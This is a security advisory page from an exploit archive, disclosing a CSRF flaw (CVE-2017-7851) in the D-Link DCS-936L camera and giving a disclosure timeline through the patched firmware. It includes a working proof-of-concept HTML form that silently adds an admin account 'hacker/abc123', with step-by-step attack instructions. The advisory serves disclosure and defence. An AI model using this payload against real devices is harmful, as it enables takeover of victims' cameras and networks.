what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DCS-936L Cross Site Request Forgery

D-Link DCS-936L Cross Site Request Forgery
Posted Nov 17, 2017
Authored by SlidingWindow

D-Link DCS-936L suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2017-7851
SHA-256 | 3251127ae5772aece5a596f9ae632c7495567ca8b9aa2dec93bb0433d7ca5898

D-Link DCS-936L Cross Site Request Forgery

Change Mirror Download
# Exploit Title: [D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability]
# Date: [26/03/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://us.dlink.com/product-category/home-solutions/view/network-cameras/]
# Version: [Tested on DCS-936L with firmware version 1.03. Other versions/models are also be affected]
# Tested on: [DCS-936L with firmware version 1.02.01]
# CVE : [CVE-2017-7851]

==================
#Product:-
==================
Small and unobtrusive, SecuriCam IP surveillance solutions from D-Link allow you to monitor your offices or warehouses from anywhere - at anytime. Extreme Low LUX optics, 2 way audio, and full pan/tilt/zoom manipulation provide everything an SMB needs to safeguard their valuable resources.

==================
#Vulnerability:-
==================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability.

========================
#Vulnerability Details:-
========================

=============================================================================================================================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability (CVE-2017-7851)
=============================================================================================================================
D-Link DCS-936L devices with firmware 1.02.01 have CSRF. If a victim is logged into the camera's web console and visits a malicious site hosting a <Target_Device_IP.HTML> from another tab in the same browser, the malicious site can send requests to the victim's device. An attacker can add a new user, replace the firmware image with a malicious one, or connect the victim's device to a rogue Wireless Network.

An attacker can easily find out public IP address of victim's device on Shodan or similar search engines to create <Target_Device_IP.HTML> file. Victim must be logged into the camera's web console and visit attacker's site from another tab in the same browser.

#Proof-of-Concept:-
-------------------
D-Link DCS-936L prevents CSRF attack by looking at Referer header. The Referer IP should match with the one in HOST header. If it does not, HTTP 403 is returned in the response. However, this device does not perform a strict check on Referer header. It seems that it looks for the devices IP address (which is the one in HOST header) anywhere in the Referer header. If found, it happily accepts the request.
An unauthenticated, remote attacker could host a malicious site that makes requests to the victims device without having credentials. In a targeted attack, an attacker needs to trick victim to visit a malicious site that exploits this vulnerability.

1. Attacker hosts a <target_ip>.html on <attacking_ip>

<html>
<body>
<form id="CSRF" action="http://<target_ip>/eng/admin/tools_admin.cgi" method="POST">
<input type="hidden" name="user" value="hacker">
<input type="hidden" name="action" value="set">
<input type="hidden" name="password" value="abc123">
<input type="hidden" name="confirmPassword" value="abc123">
</form>

<script>
window.onload = function(){
document.forms['CSRF'].submit()
}
</script>

</body>

</html>


2. Victim logs into his device.
3. Victim then visits attackers site http://<attacking_ip>/<target_ip>.html
4. Above request adds a new user Hacker which reboots the web server.
6. Browser sends add new user request to the target device <target_ip>. Victim's browser sets 'Referer' header to 'http://<attacking_ip>/<target_ip>.html'. As this contains the IP address of the device (<target_ip>), this request is processed successfully.
7. Server response shows user hacker added successfully:
8. Attacker can now log into the device as hacker/abc123

===================================
#Vulnerability Disclosure Timeline:
===================================

26/03/2017: First email to disclose vulnerability to D-Link incident response team.
26/03/2017: Vendor acknowledged the report.
25/05/2017: Vendor confirmed that development has been completed and it's undergoing security audit.
13/10/2017: Firmwared released to production: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_FIRMWARE_v1.05.07.zip
13/11/2017: DCS-936L Firmware Release Notes: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_RELEASE_NOTES_v1.05.07.pdf
15/11/2017: Published CVE-2017-7851



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close